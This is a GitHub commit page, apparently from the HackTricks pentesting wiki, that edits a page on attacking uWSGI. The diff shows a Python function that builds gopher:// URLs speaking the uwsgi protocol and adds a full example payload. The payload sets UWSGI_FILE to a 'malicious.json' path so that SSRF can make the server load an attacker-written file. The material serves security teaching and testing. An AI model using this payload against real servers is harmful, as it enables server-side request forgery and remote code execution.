Skip to content

Commit 3d0de68

Browse files
authored
Update wsgi.md
1 parent 910990a commit 3d0de68

File tree

1 file changed

+4
-1
lines changed
  • src/network-services-pentesting/pentesting-web

1 file changed

+4
-1
lines changed

src/network-services-pentesting/pentesting-web/wsgi.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -103,6 +103,9 @@ def uwsgi_gopher_url(host, port, params):
103103
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
104104
pkt = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
105105
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)
106+
107+
# Example URL:
108+
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
106109
```
107110

108111
Example usage to force-load a file previously written on the server:
@@ -195,4 +198,4 @@ These do not directly grant RCE in uWSGI, but in edge cases they can be chained
195198
- [The uwsgi Protocol (spec)](https://uwsgi-docs.readthedocs.io/en/latest/Protocol.html)
196199
- [uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments](https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.26.html)
197200

198-
{{#include ../../banners/hacktricks-training.md}}
201+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)